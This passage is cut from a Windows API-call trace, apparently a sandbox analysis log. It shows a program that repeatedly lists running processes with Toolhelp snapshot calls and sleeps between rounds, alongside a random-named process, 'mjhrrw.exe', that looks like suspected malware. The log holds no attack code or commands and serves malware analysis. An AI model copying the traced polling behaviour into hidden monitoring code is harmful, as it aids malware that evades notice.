cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.021] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.022] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.023] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.024] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.025] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.025] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.027] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.028] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0254.028] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.029] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0254.030] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0254.031] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0254.031] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0254.032] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0254.033] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.035] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0254.035] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0254.036] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0254.038] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0254.038] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0254.039] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0254.040] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0254.872] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0254.873] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0254.873] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0254.874] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0254.874] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0254.875] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0254.875] Process32NextW (in: hSnapshot=0x3a0, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0254.876] CloseHandle (hObject=0x3a0) returned 1 [0254.877] Sleep (dwMilliseconds=0x1f4) [0255.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x39c [0255.696] Process32FirstW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.696] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.697] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.702] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.702] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.703] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.704] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.704] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.705] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.706] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.706] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0255.707] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.708] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.709] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.709] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.711] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.712] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.713] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.713] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.714] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.715] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.716] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.716] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.717] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.717] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.718] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.719] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.719] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0255.721] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0255.722] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0255.723] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.724] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.724] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.726] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.727] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.727] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.728] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.728] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0255.729] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0255.731] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0255.732] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.732] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0256.041] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0256.042] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.043] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0256.044] Process32NextW (in: hSnapshot=0x39c, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0256.046] CloseHandle (hObject=0x39c) returned 1 [0256.046] Sleep (dwMilliseconds=0x1f4) [0256.891] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0256.898] Process32FirstW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.899] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.900] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.900] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.901] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.902] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.903] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.904] Process32NextW (in: 